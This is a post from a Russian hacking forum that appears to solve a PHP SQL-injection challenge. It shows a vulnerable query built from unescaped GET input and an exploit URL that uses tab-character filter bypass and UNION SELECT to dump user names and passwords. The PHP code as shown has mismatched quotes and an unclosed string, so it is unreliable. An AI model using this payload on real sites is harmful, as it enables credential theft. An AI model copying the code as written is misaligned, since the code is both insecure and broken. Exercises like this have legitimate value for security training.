[PHP] ЗАДАНИЯ от Krist_ALL

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
[PHP] ЗАДАНИЯ от Krist_ALL

#11

22.06.2009, 02:16

Extremal

Познающий

Регистрация: 21.06.2006

Сообщений: 74

С нами: 10467109

Репутация: 222

Цитата:

Задание 010
Провести sql injection

PHP код:


		
			
<?php

$name = str_replace('/**/','','str_replace(' ','',$_GET['name']));

$query = mysql_query("select * from users where name='$name"); ?>

Код:

http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':',name,passwd),4,5,6%09from%09users/*

Последний раз редактировалось Extremal; 22.06.2009 в 02:18..

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[php] On-Line Фейк mail.ru	m0Hze	Уязвимости Mail-сервис	45	21.08.2013 09:10
SQL-Inj Finder by mr.The [Special for antichat] [PHP]	mr.The	PHP	24	07.08.2009 01:30
Задания	~Fenix~	Болталка	11	13.05.2006 11:03

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home